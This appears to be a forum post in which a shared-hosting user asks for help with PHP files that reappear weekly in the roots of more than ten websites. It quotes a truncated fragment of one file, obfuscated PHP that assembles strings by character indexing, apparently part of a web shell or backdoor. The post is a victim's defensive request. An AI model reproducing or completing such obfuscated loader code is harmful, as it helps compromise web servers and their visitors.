Malware: I get new files and code modifies on website

I need a help! This is very weird malware I get every week even if I delete it and I don't know what to do.

I have a virtual web hosting (not VPS). There are more than 10 websites like:

• /site1.com/public_html
  
• /site2.com/public_html
  
• /site3.com/public_html
  
• ...
  

Every week there it appears somehow new files in each website folder in public_html. 3-4 new files for every website in root:

• 76nt0hgr.php
  
• ajax28.php
  
• hmbjcewn.php
  

It contains something like:

$bhavl='pul821nm7_6ste-vxy\'agior#kdHbc*94';$ejlnjbs=Array();$ejlnjbs[]=$bhavl[27].$bhavl[30];$ejlnjbs[]=$bhavl[24];$ejlnjbs[]=$bhavl[31].$bhavl[8].$bhavl[32].$bhavl[10].$bhavl[4].$bhavl[26].$bhavl[5].$bhavl[29].$bhavl[14].$bhavl[32].$bhavl[32].$bhavl[31].$bhavl[5].$bhavl[14].$bhavl[32].$bhavl[29].$bhavl[3].$bhavl[26].$bhavl[14].$bhavl[28].$bhavl[32].$bhavl[28].$bhavl[19]....